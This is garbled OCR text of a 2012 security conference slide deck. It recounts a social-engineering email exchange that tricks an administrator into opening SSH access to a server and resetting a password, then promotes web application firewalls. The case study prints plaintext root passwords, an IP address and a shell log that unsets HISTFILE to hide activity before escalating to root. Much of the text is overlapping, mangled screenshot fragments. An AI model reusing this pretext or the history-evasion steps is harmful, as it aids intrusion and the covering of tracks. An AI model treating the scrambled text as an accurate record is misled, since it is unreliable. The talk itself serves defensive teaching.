Create 3 filter

Search Mail Search the Web

-

Manage this domain

<3
_x_,_,_n.h r] Archive Reportspam Delete Movetoy Labels v More actions v =~ Refresh 1-30f3 “
Starred ¥.3  E—— : |
Chats G2
Sent Mail
Drafts

Learn more Hide

Feb 22 |
Feb 22 |
4/9/09 |

H

Select: All, None, Read, Unread, Starred, Unstarred

EL Archive Reportspam Delete Movetoy Labelsy More actionsy =~ Refresh 1-30f3 “

il 3

Use free POP access to download your messages to Outlook or devices that support POP. Leam more

You are currentl i of your 25600 MB.
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A Social Situation

From: Greg
To: Jussi
Subject: need to ssh into rootkit

im in europe and need to ssh into the server. can you drop open up

firewall and allow ssh through port 59022 or something vague?

and 1s our root password still 88j4bb3rwlOcky88 or did we change to
88Scr3am3r88 ?

thanks
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A Social Situation

From: Jussi
To: Greg
Subject: Re: need to ssh into rootkit

hi, do you have public ip? or should i just drop fw?
and it i1s wOcky - tho no remote root access allowed

Presented to Central Plains ISSA on April 6, 2012



A Social Situation

From: Greg

To: Jussi
Subject: Re: need to ssh into rootkit
no i dont have the public ip with me at the moment because im ready

for a small meeting and im in a rush.

if anything just reset my password to changemel23 and give me public
ip and ill ssh in and reset my pw.
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A Social Situation

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

ok,

it should now accept from anywhere to 47152 as ssh. 1 am doing
testing so that it works for sure.

your password 1is changemel23

1 am online so just shoot me if you need something.

in europe, but not in finland? :-)

_jussi
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A Social Situation

From: Jussi

T GCrea
From: Greg

To: Jussi
Subject: Re: need to ssh into rootkit

if 1 can squeeze out time maybe we can catch up.. i1ll be in germany

for a little bit.

anyway I can't ssh into rootkit. you sure the ips still
65.74.181.1417?

thanks

_jussi
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A Social Situation

From: Jussi

T GCrea
From: Greg

To: Jussi
Subject: Re: need to ssh into rootkit

if i can sq|From: Jussi in germany

for a 1littlqTo: Greg

Subject: Re: need to ssh into rootkit

anyway]:caldﬂes it work now?

65.74.181.14

thanks

_jussi
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A Social Situation

From: Jussi

T GCrea
From: Greg

To: Jussi

Subject: Re;
if i can sqflTO: Jussi

From: Greg
in germany
for a littldSubject: Re: need to ssh into rootkit

yes jussi thanks
anyway I ca

65.74.181.19414 you reset the user greq or?

thanks

_jussi
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From:

To-+ GCred

A Social Situation

Jussi

From: Greg

To: Jussi

Subject: Re
if i can sq From:

for a littl

anyway 1 cal

|From:

65.74.181.1

thanks

Greg

Jussi in germany
To: Greg
Subject: Re: need to ssh into rootkit

nope. your account is named as hoglund

_jussi

Presented to Central Plains ISSA on April 6, 2012



A Social Situation

From: Jussi

T GCrea
From: Greg

: Jussi .
Greg

To: Jussi
Subject: Re: need to ssh into rootkit
yup im logged in thanks 111 email you in a few, im backed up

thanks
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A Social Situation

From: Jussi

T GCrea
From: Greg

To: Jussi
From: Greg

To: Jus|From: Jussi
Subject{To: Greg
yup im [Subject: Re: need to ssh into rootkit

did you open something running on high port?

thanks

thanks

_jussi
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A Social Situation

From: Jussi

T GCrea
From: Greg

To: Jussi

From: Greg
- e I Tacc o

did you open something running on high port?

yup im [Subject: Re: need to ssh into rootkit
did you open something running on high port?
thanks

thanks

_jussi
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bash-3.2# ss5h hoglund@es, 74,181,141 -p 47152

[unauthorized access prohibited]

hoglund@es, 74,1581 .141"'s password:

[hoglund@www hogzlund] ¥ unset

hoglund@www hoglund]d w

11:23:58 up 30 days, 5:45, 4 users, load average: 0,00, O,00, 0,03

USEE TTY FEOM LOGI N IDLE JCFU FCFU  WHaAT

Jussi pts/0 csld4506d,.pp.hty, Wedllpm 59,8085 @,385 0,355 screen -r
Juss1 pts/1l - Thu Sam 1:13 0,38 4.,940s SCEEEN
Juss1 pts/2 - Thu Sam 59.00s O.6585 4,905 SCEEEN

lhoglund ptséf3 132.181.74.65.5t 11:23am 0O.00s 0,035 0,005 |
[hoglund@www hogzlund] ¥ unset HIST

[hoglund@www hogzlund] ¥ unset HISTFLE

[hoglund@wwy hoglund]$ unset HISTFILE

[hoglund@www hoglund] ¥ uname -a;hostname

Linux www, rootkit.com 2.4.21-480,ELsmp #1 SMP Wed Mar 15 14:21:45 EST
2086 1636 1636 386 GHNUSLinux

www, rootkit, cam
[hoglund@www hoglund]$ su -
Fassward:

[root@www root]# unset HIST
[root@www root]# unset HISTFILE

[root@wwyw root]# uname -a:hosthname;qid

Linux www, rootkit.com 2.4.21-480,ELsmp #1 SMP Wed Mar 15 14:21:45 EST
200G 1686 1686 1386 GNUSLInux

www, rootkit, cam
Uid=B[{root) gid=0(root)] groups=0[{root),l200(varmistus)




bash-3.2# ss5h hoglund@es, 74,181,141 -p 47152

[unauthorized access prohibited]

hoglund@es, 74,1581 .141"'s password:

[hoglund@www hogzlund] ¥ unset

hoglund@www hoglund]d w

11:23:58 up 30 days, 5:45, 4 users, load average: 0,00, O,00, 0,03

U=EE TTY FEOM LOGI N IDLE JCFU FCFU  WHaAT

Jussi pts/0 csld4h06d,.pp.hty, Wedllpm 59,085 O,385 O,355 sCreen
Juss1 pts/1l - Thu Sam 1:13 0,38 4.,940s SCEEEN
Juss1 pts/2 - Thu Sam 59.00s O.6585 4,905 SCEEEN

-r

lhoglund ptséf3 132.181.74.65.5t 11:23am 0O.00s 0,035 0,005

[hoglund@www hogzlund] ¥ unset HIST

[hoglund@www hogzlund] ¥ unset HISTFLE
[hosTlundifwwe hoslundlt unset HISTFTILF

|huglund pts/3 132.181.74.05.5t 1l:23am 0.,.00s O, H3s

O

CTTE W TOOCET O COM 2 9, 2190 ECSMp #1 ST Wed Mdar I3 19 2793 X
2006 686 1686 1386 GMUSLInux

www, rootkit, cam
[hoglund@www hoglund]$ su -
Fassward:

[root@www root]# unset HIST
[root@www root]# unset HISTFILE

[root@wwyw root]# uname -a:hosthname;qid

Linux www, rootkit.com 2.4.21-480,ELsmp #1 SMP Wed Mar 15 14:21:45 EST
200G 1686 1686 1386 GNUSLInux

www, rootkit, cam
Uid=B[{root) gid=0(root)] groups=0[{root),l200(varmistus)




Okay kids, what did
we learn today???

There Is..
No such Thing as...
a Low Priority Web App
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Do not abandon traditional network and
application security
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Think Strategically to Reduce your Vulnerability
Profile

W, _// (\

Much like a military strategist, you will benefit
,_ ,‘g c ) (2 from advanced planning and strategic thought
L% C= &~ el about your security. You cannot prevent attacks,
D but you can pick the battlefield:

D ::"’ —afl? | « Hide your resources.
—— 7 e canse | . * Think like a defender.
Gl KAz Tomplt, E-J) ° oo A 2 « Assume they know everything.
= p Mg ag -2  Use “terrain” that slows attackers down.

* Prepare the field of battle.
~ o * Assume that you will be outnumbered.
c man ooy » The cavalry will be late.

S (crossed the Bum
night of 23/24 June)

Bannock Bum

Gloucester .

At the Battle of Bannockburn, Robert the Bruce, King of the Scots, was able to defeat an
English army superior in every way because of careful preparation and a thorough
understanding of both armies. He reduced his vulnerabilities by careful preparation of the field
in advance and used the prevalent terrain to deny the English their huge advantage in
mobility and numbers. The consequences of defeat were unacceptable.

Luckily, in IT *heads will roll” is purely metaphorical. Mostly...
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Deploy Modern Defenses for
Modern Threats

High Capacity DDoS Mlﬁltatlon Platform
Web Application Firewa S
Security Information and Event Monitoring
Next-Gen VPN and Web Application

Gatewag_ _ _
Vulnerability Scanning (SAST, DAST)

A CIRT with Strong AppSec Skills
No Single Vendor Excels in All of these!

You need an integration strategy and
flexible, interoperable tools.

And last, but definitely not least:
Smart, Well-Trained People

Like, perhaps one of F5’s Expert Security
Partners?
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What to look for In a
ATZA =




Automated Policy
Learning

® Automatically build and manage
policies




Resource Cloaking

billmbp:~ Bi1l% curl -1 www.,at.mil
HTTFS1 .1 208 O
Content-Type: ftext/himl
Server: Microsoft-II15%/6.,0
h-Fowered-By: A5F . NET
Lache-LControl: private, max-age=1.20
Date: Wed, B2 Mar 2011 13:34:55 GMT
Lonnection: keep-aliwve




Resource Cloaking

billmbp:~ Bi1ll% curl -I www.af.mil
HTTF/S1.1 Z2@0 0O

Lontent-Type: ftext/himl
Lache-LControl: private, max-age=1.0
Lonnection: keep-aliwve




High-Performance




.// . .
L/-means having som
sessions (context)

normal DoS tactics.
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RFC Enforcement

NMetwork Working Group R. Fielding
Request for Comments: 2616 UC Irvine
Obsoletes: 2068 J. Gettys
Category: Standards Track Compag/W3C
J. Mogul
Compagq

Y Pry=tyk
[ rrieEiihis
L. Masinter
Xerox

P. Leach
Microsoft

J.‘y

’ i [ l ~)
2 Just bacausa you can, doasr

L=

on Servsricee

June 1999

| Hypertext Transfer Protocol -- HTTE/1.1
' ' ﬁ*pﬁ (AR s 1 ey oop !
SNDEN EYSERTINDETol 1y

This document specifies an Internet standards track protocol for the
Internet community, and requests discusslion and suggestions for
improvements. Please refer to the current edition of the "Internet
Official Protocol Standards” (STD 1) for the standardization state
and status of this protocol. Distribution of this memo 15 unlimited
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Ruffiof$ of signature’s death have been
greatly exaggerated

Still gerve good, first pass

>

LT qu bad from the start, why
Enany further?
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Encrypted Cookie
Support

® Don'’t trust the user

® Another form of
parameter manipulation

puu ECHE J@JUU&» )\ WAF

2 Bz inie slgolleztion)

AlOHE
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Preconfigured
Policies
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Preconfigured
Policies

® It should be easy to get COTS apps up
and running

No sense In re-inventing the wheel

t 90% there, and tighten the other




Parameter Evaluation

- MICROSOFT lNTERNET EXP%OR?R

avorites Tools Help

x @) & Search Favorites £

ine.store.com/Default.aspx?userid=-20298745233|

- MICROSOFT INTERNET EXPLORER

gvorites Tools Help
x| (2] ‘o ) Search Favorites &

ine.store.com/Default, aspx?usernd=-20298745284
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Parameter Evaluation

- MICROSOFT INTERNET EXPLOP=™

avorites Tools Help

: Search Favorites

.com/Default, aspx?userid=-2029874!

Tools Help

. ) Search Favorites &

ine.store.com/Default, aspx?usernd=-20298745284
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Parameter Evaluation

- MICROSOFT INTERNET EXPLOP=™

Tools Help

; Search Favorites

.com/Default.aspx?userid=-20 298.

gvorites Tools Help
x| (2] ‘o ) Search Favorites

ine.store.com/Default, aspx?usernd=-20298745284
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Parameter Evaluation

- MICROSOFT INTERNET EXPLORER

avorites Tools Help

x| & @ Search Favorites &<

ine.store.com/Default.aspx?userid =-20298745233|

® Don't trust the user
® The WAF should know better

- MICROSOFT INTERNET EXPLORER

avorites Tools Help

x| @] » J Search Favorites &

ine.store.com/Default, aspx?usernd=-20298745284
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Geolocation
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Proigy

® If they’re doit @
from doind oth€

® Don'tjust protel

-_.‘
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lof)
ROUSLUSES)

{‘hlngs stop them
Y bad thlngs
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1 the crown jewels |
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Content Inspection

Bi-directional inspection

Server responses JUST AS
IMPORTANT

Look for data leakage, what should
NEVER leave

ICAP support for Anti-Virus and Qnti-

Malware ‘\,\
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XML & JSON
Protection

® A WAF should understand XML and
JSON

Apply security policies, sanity checks

Interact gracefully with Web 2.0 Apps
and Mobile Apps
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Flexible and
Extensible

® A dynamic defense requires a
programatic flexibility.

f your main or only mechanism is to
add a signature there are many attacks
you cannot mitigate.
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Flexible and
Extensible

i @}erem'\ahg
MW\ i SSL-DOS

asure:
Countermedsm
L » QUCH!

Tool: bit.1y/ <‘)\'.\1f:'},§
"No real solutions

exists e A
f e —onmEEIERISURER
I @jeremiahg
Al ¢ attacks

y RT @ Alnmer: G jer
¢an stop THC-SS

'Miahg BIG-Ip ASM
) ‘ .‘: " | A 1
SSL-DOS with an iRule. i)

bit.ly/ustVry < 800d to know, :)
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Easy to Troubleshoot

Violation Saverity
| . Critical

| warning

~‘ Waming

YWaming

Details for Attack Type "XML Parser Attack” [X]
| Attack Type XML Parser Attack

This aftack targets the functionality of the XML parser in order fo crash it or force the parserto
work abnormally

’ Dascription

Support ID 20450422355434010
Time 2009-07-0510:58:14
Flags X8

Severity Crifical

Response Status Code NIA

Potential Aftacks
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OWASP Top 10

® Al-Injection
® A2-Cross Site Scripting (XSS)

® A3-Broken Authentication a mmmn
Management np———

Ad-Insecure Direct Object Re




OWASP Top 10

® A6-Security Misconfiguration

® A7-Insecure Cryptographic Storage

—orwaras




Addressing the Vulnerabillities:
Web Application Firewalls, Web Access
Gateways

J Attack Signature mitigation Full proxy WAF Web Access Gateway
(inspect, generic) (proxy, inspect, rewrite)  ( encrypt, sso, aaa)







- Thank You




